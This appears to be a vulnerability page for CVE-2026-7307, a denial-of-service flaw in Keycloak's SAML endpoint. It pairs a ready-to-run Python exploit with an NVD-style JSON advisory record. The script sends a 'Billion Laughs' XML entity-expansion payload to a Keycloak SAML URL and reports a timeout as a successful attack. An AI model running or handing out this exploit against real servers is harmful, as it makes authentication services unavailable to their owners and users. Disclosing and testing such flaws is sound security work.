CVE-2026-7307

import requests # Target SAML Endpoint URL TARGET_URL = "https://target-keycloak.com/realms/master/protocol/saml" # Malicious XML payload designed to cause CPU exhaustion (e.g., Billion Laughs) # This payload expands recursively to consume all available resources. PAYLOAD = """<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> """ headers = { "Content-Type": "application/xml" } print(f"Sending DoS payload to {TARGET_URL}...") try: response = requests.post(TARGET_URL, data=PAYLOAD, headers=headers, timeout=10) print(f"Response Status Code: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - Server might be unresponsive (DoS successful).") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-7307", "sourceIdentifier": "[email protected]", "published": "2026-05-19T12:16:19.423", "lastModified": "2026-05-20T17:16:28.500", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. A remote, unauthenticated attacker can send a specially crafted XML input to the Security Assertion Markup Language (SAML) endpoint. This malicious input can cause high CPU usage and worker thread starvation, leading to a Denial of Service (DoS) where the server becomes unavailable."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1286"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:19594", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19595", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19596", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19597", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-7307", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2476526", "source": "[email protected]"}]}}